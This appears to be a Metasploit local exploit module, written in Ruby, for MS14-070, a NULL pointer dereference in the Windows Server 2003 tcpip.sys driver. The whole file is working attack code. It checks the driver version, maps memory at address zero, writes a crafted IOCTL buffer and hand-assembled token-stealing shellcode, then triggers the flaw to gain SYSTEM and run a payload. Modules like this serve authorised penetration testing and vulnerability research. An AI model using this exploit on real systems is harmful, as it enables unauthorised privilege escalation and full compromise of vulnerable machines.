## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::FileInfo include Msf::Post::Windows::Priv include Msf::Post::Windows::Process def initialize(info={}) super(update_info(info, { 'Name' => 'MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference', 'Description' => %q{ A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys can allow a local attacker to trigger a NULL pointer dereference by using a specially crafted IOCTL. This flaw can be abused to elevate privileges to SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt Bergin ', # Vulnerability discovery and PoC 'Jay Smith ' # MSF module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ ['Windows Server 2003 SP2', { '_KPROCESS' => "\x38", '_TOKEN' => "\xd8", '_UPID' => "\x94", '_APLINKS' => "\x98" } ] ], 'References' => [ ['CVE', '2014-4076'], ['MSB', 'MS14-070'], ['OSVDB', '114532'], ['URL', 'https://blog.korelogic.com/blog/2015/01/28/2k3_tcpip_setaddroptions_exploit_dev'], ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt'] ], 'DisclosureDate'=> 'Nov 11 2014', 'DefaultTarget' => 0 })) end def check if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ return Exploit::CheckCode::Safe end handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING') return Exploit::CheckCode::Safe unless handle session.railgun.kernel32.CloseHandle(handle) file_path = get_env('WINDIR') << "\\system32\\drivers\\tcpip.sys" unless file?(file_path) return Exploit::CheckCode::Unknown end major, minor, build, revision, branch = file_version(file_path) vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, "Exploit not available on this system") end handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING') if handle.nil? fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device") end print_status("Storing the shellcode in memory...") this_proc = session.sys.process.open session.railgun.ntdll.NtAllocateVirtualMemory(-1, [0x1000].pack('V'), nil, [0x4000].pack('V'), "MEM_RESERVE|MEM_COMMIT", "PAGE_EXECUTE_READWRITE") unless this_proc.memory.writable?(0x1000) fail_with(Failure::Unknown, 'Failed to allocate memory') end buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" sc = token_stealing_shellcode(target, nil, nil, false) # move up the stack frames looking for nt!KiSystemServicePostCall sc << "\x31\xc9" # xor ecx, ecx sc << "\x89\xeb" # mov ebx, ebp # count_frames sc << "\x41" # inc ecx sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000 sc << "\x8b\x1b" # mov ebx, dword [ebx] sc << "\x75\xf4" # jne short count_frames sc << "\x49" # dec ecx # loop_frames sc << "\x49" # dec ecx sc << "\x89\xec" # mov esp, ebp sc << "\x5d" # pop ebp sc << "\x83\xf9\x00" # cmp ecx, 0 sc << "\x75\xf7" # jne loop_frames sc << "\x31\xc0" # xor eax, eax sc << "\xc3" # ret this_proc.memory.write(0x28, "\x87\xff\xff\x38") this_proc.memory.write(0x38, "\x00\x00") this_proc.memory.write(0x1100, buf) this_proc.memory.write(0x2b, "\x00\x00") this_proc.memory.write(0x2000, sc) print_status("Triggering the vulnerability...") session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0) #session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it print_status("Checking privileges after exploitation...") unless is_system? fail_with(Failure::Unknown, "The exploitation wasn't successful") end print_good("Exploitation successful!") unless execute_shellcode(payload.encoded, nil, this_proc.pid) fail_with(Failure::Unknown, 'Error while executing the payload') end end end